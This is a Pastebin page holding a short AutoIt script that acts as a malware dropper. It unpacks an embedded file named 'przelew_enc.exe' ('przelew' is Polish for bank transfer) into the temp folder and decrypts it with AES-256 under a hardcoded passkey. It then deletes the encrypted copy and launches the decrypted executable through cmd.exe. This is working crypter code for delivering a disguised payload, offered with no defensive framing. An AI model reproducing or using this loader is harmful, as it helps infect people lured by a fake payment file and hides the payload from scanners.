Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Local $readfilename = "przelew_enc.exe"
- Local $nazwakatalogu = @ScriptDir
- Local $nazwapliku = StringReplace($readfilename, "_enc", "")
- FileCopy($nazwakatalogu & "\" & $nazwapliku, @TempDir, $fc_overwrite + $fc_createpath)
- If FileExists(@TempDir & "\" & $readfilename) Then
- Else
- FileInstall("C:\Program Files\AutoHotkey\Compiler\przelew_enc.exe", @TempDir & "\" & $readfilename, 1)
- EndIf
- Local $newfilename = StringReplace($readfilename, "_enc", "_dec")
- $firstdot = StringInStr($readfilename, ".", 0, -1)
- $fileextension = StringTrimLeft($readfilename, $firstdot - 1)
- $passkey = "takczopur"
- If _crypt_decryptfile(@TempDir & "\" & $readfilename, @TempDir & "\" & $newfilename, $passkey, $calg_aes_256) Then
- FileDelete(@TempDir & "\" & $readfilename)
- Else
- FileDelete(@TempDir & "\" & $newfilename)
- MsgBox("", "", "invalid password")
- Exit
- EndIf
- ShellExecuteWait("cmd.exe", " /c cd " & @TempDir & " & " & $newfilename, "")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement